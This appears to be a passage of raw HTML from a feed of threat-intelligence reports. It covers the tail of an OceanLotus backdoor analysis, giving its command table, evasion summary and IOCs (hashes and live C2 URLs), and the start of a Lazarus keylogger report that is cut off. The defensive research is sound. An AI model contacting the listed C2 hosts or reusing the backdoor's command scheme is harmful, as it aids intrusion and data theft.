0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="553" width="553" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-mpa-action-id="mr1icxob1g0e" data-pm-slice="0 0 []" data-nest-level="7"><span leaf="" mpa-font-style="mr1icxo211id" style="font-size: 16px;" data-nest-level="8">ur=</span><url data-nest-level="8"><span leaf="" mpa-font-style="mr1icxo38l" style="font-size: 16px;" data-nest-level="9">;m=</span><method data-nest-level="9"><span leaf="" mpa-font-style="mr1icxo313hn" style="font-size: 16px;" data-nest-level="10">;t=</span><timeout data-mpa-action-id="mr1icu83yvy" data-pm-slice="0 0 []" data-nest-level="10"><span leaf="" mpa-font-style="mr1icxo31htr" style="font-size: 16px;" data-nest-level="11">;k</span><span leaf="" mpa-font-style="mr1icu7v4mz" style="font-size: 16px;" data-nest-level="11">e=</span><keepalive data-nest-level="11"><span leaf="" mpa-font-style="mr1icu7v1u6p" style="font-size: 16px;" data-nest-level="12">;pr=</span><proxy data-nest-level="12"><span leaf="" mpa-font-style="mr1icu7v29q" style="font-size: 16px;" data-nest-level="13">;ag=</span><useragent data-nest-level="13"><span leaf="" mpa-font-style="mr1icu7v1iet" style="font-size: 16px;" data-nest-level="14">;he=</span><headers data-nest-level="14"><span leaf="" mpa-font-style="mr1icu7v1pwe" style="font-size: 16px;" data-nest-level="15">;ls=</span><url_list data-nest-level="15"><span leaf="" mpa-font-style="mr1icu7v1q13" style="font-size: 16px;">;re=</span><retries></retries></url_list></headers></useragent></proxy></keepalive></timeout></method></url></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">解析的指令如下：</span><o:page data-nest-level="3"></o:page></p><p data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5230978260869565" data-w="736" style="width:553.739990234375px;height:289.6700134277344px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f050c21a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLMXcibsbNWIJWOqicsa6auK1LsHUzsFuxN0QXJMiaiacMibOAHwicVNJ6X5Eb12iaaUoohLLNMrBSJ32mCZ2IabmXEYjPxMOUbz5ZjFY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">指令的具体功能如下：</span></p><table style="border:none;border-collapse:collapse;mso-border-top-alt:solid windowtext 0.5pt;mso-border-left-alt:solid windowtext 0.5pt;mso-border-bottom-alt:solid windowtext 0.5pt;mso-border-right-alt:solid windowtext 0.5pt;width:551px;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;"><tbody><tr style="height:33.15pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 33.15pt;"><p style="margin-bottom: 8px;" data-nest-level="6"><span style="font-size: 12pt;font-family: 仿宋;font-variant: normal;text-transform: none;" data-nest-level="7"><span leaf="" data-nest-level="8">指令</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 33.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">功能</span></span></p></td></tr><tr style="height:17.3pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">ex</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">执行程序（通过cmd.exe /c执行）</span></span></p></td></tr><tr style="height:18.15pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">sh</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">执行shell命令</span></span></p></td></tr><tr style="height:17.3pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">do</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件下载</span></span></p></td></tr><tr style="height:18.15pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">up</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件上传</span></span></p></td></tr><tr style="height:17.3pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">lo</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">加载模块</span></span></p></td></tr><tr style="height:18.15pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">sl</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 18.15pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">设置休眠间隔</span></span></p></td></tr><tr style="height:17.3pt;"><td data-colwidth="124" width="108" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">coc/cod/sos</span></span></p></td><td data-colwidth="427" width="294" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;height: 17.3pt;"><p style="word-break:break-all;" data-nest-level="6"><span style="font-size:12.0pt;mso-bidi-font-size:12.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">修改配置命令(useragent/proxy/headers/timeout等)</span></span></p></td></tr></tbody></table><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []" data-nest-level="2"><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="3"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;" data-nest-level="4"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;" data-nest-level="5"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);" data-nest-level="6"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: #f2f2f2;line-height: 32px;height: 32px;font-size: 16px;background-color: #be191f;letter-spacing: 1.5px;box-sizing: border-box;" data-nest-level="7"><strong style="margin: 0px;padding: 0px;" data-nest-level="8"><span style="margin: 0px;padding: 0px;font-size: 17px;" data-nest-level="9"><span leaf="" data-nest-level="10">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;" data-nest-level="6"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;" data-nest-level="7"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;" data-nest-level="8"><p style="margin-top: 8px;margin-bottom: 8px;" data-nest-level="9"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;style&#34;:&#34;margin: 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;101849&#34;,&#34;style&#34;:&#34;margin: 0px; padding: 0px; box-sizing: border-box;&#34;,&#34;class&#34;:&#34;_135editor&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px 0px; padding: 0px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px 0px 0px 6px; padding: 30px 15px 10px; background-color: #f2f2f2; flex-shrink: 0; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;margin: 0px; padding: 0px; line-height: 1.75em; letter-spacing: 1.5px; font-size: 17px; box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px; padding: 0px; text-indent: 2em; box-sizing: border-box;&#34;,&#34;class&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px; margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" data-nest-level="10">本次攻击行动中海莲花组织此次采用了与以往截然不同的技战术体系，综合运用多种手段实施反分析与反调试，并借助开源工具开展针对性持久化操作，以规避安全软件的检测。其载荷从释放到执行的整个过程中，所有关键操作均通过动态获取系统底层API函数来实现，从而极大程度地绕过了传统安防监测机制。这一系列手法充分彰显了该组织高精度、高隐蔽性的渗透能力。</span></p><p style="background-color: rgb(242, 242, 242);flex-shrink: 0;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;margin: 8px 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;" data-nest-level="9"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="10">此外本文披露的样本只是该组织攻击过程中使用的部分载荷，通过对样本进行的深入分析，希望帮助用户了解此类攻击链条及防范手段。同时也提醒用户提高安全意识，在日常工作中谨慎处理未知压缩包、邮件附件和超链接，避免因轻信而在毫无防护的情况下遭受入侵，造成敏感信息和重要数据的泄露。</span></p></div></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="2"><div data-role="title" data-tools="135编辑器" data-id="85638" style="" data-nest-level="3"><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;" data-nest-level="4"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;" data-nest-level="5"><span style="font-size:15px;" data-nest-level="6"><strong data-nest-level="7"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;" data-nest-level="8"><span leaf="" data-nest-level="9">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph" data-nest-level="3"><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5:</span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">68124f029a5fafc3733fbc7c43db1e07</span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">698ac1e66c5e9e305ff38388608860dd</span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">f8202f44303c6bc9caaca932b1ab4208 </span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">1124092f3de057976a3ef62dbcb14f2e </span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">c2d6795881b2444cc08e846e8fdb7d78 </span></span></p><p style="margin-top: 16px;" data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;font-weight: bold;">C2:</span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//erp.manitech.ch/api/ui.php</span></span></p><p data-nest-level="4"><span leaf="" data-nest-level="5"><span textstyle="" style="font-size: 15px;">https[:]//agoras.zapto.org/game/metroid/prime.php</span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []" data-nest-level="4"><div data-tools="135编辑器" data-id="96036" data-nest-level="5"><div style="margin:10px auto;" data-nest-level="6"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;" data-nest-level="7"><p hm_fix="208:559" data-nest-level="8"><span style="color: rgb(190, 25, 31);font-size: 15px;" data-nest-level="9"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="10"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="11"><span leaf="" data-nest-level="12">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="10"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="11"><span leaf="" data-nest-level="12">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;" data-nest-level="8"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;" data-nest-level="9"><span leaf="" data-nest-level="10">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><o:page data-nest-level="3"></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 22 Jul 2026 17:30:00 +0800</pubDate>
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    <item>
      <title>疑似APT-C-26（Lazarus）组织升级监控程序的攻击行动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508744&amp;idx=1&amp;sn=889208d4f2064dc4dfe6edf3649a73b5</link>
      <description>APT-C-26（Lazarus）是高危活跃 APT 组织，针对金融、政企、军工、航空航天等行业攻击，以牟利和窃取机密为目的，攻击手段多样、可跨系统运作，隐蔽性极强。其定制远程监控程序，近期新增键盘记录组件。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-07-15 17:35</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=65fd65bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXKz8dKexicZEBX1EO6NzdowwA6sla4VyF1Q2xSloA7YPY7c8kbTIPtdYQNB2SQWGXNe0Ep0XtRWx8gw8qomSU4EKD6GzhhXD5yU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>APT-C-26（Lazarus）是高危活跃 APT 组织，针对金融、政企、军工、航空航天等行业攻击，以牟利和窃取机密为目的，攻击手段多样、可跨系统运作，隐蔽性极强。其定制远程监控程序，近期新增键盘记录组件。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-26</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">Lazarus</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-26（Lazarus）组织是一个高度活跃的APT组织。该组织除了对金融机构和加密货币交易所感兴趣外，也对全球的政府机构、航空航天、军工等不同行业开展攻击活动，主要目的是获取资金和窃取敏感信息等。其攻击方式主要包括网络钓鱼、网络攻击和勒索软件攻击，并且它们的攻击行为具有高度的技术复杂性和隐蔽性，也具备Windows、Linux、MacOS系统攻击能力，以及拥有多种攻击载荷武器。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、概述</span></span></strong></p></div></div></div><div data-role="paragraph" style="text-align: left;margin: 10px auto;"><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="">以往[1]，在调查过程中我们曾捕获到该组织使用的一款功能完备的定制化监控程序，其具备完整的远程桌面控制能力。此次，我们进一步补充发现该程序新增了键盘记录能力组件。</span></p></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、攻击活动分析</span></span></strong></p></div></div></div></div></div></div></div><h2><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></h2><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">在攻击流程中，该组织的各类组件协同工作，不仅构建起隐蔽的远程桌面环境，还进一步整合了键盘记录能力，形成一个综合性的监控与控制平台。这为攻击者提供了对受控主机进行多维度、持续性的监视与控制能力，显著增强了其数据窃取和情报收集的效率。</span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;margin-bottom: 10.0pt;line-height: 150%;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9502688172043011" data-w="744" style="width:553.739990234375px;height:526.2100830078125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=85eb8a5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ1YctzQd3j3LqH5zgeKcLxLCUmTouCUzG8lwACRxd2nF2quJEfoMODeHY3TfoYKN5Hrmicawuy91A9R96C7iaZgBvUic0GstIhGk%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 1 攻击流程图</span></span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">2.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">键盘监控组件分析</span></span></h2><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 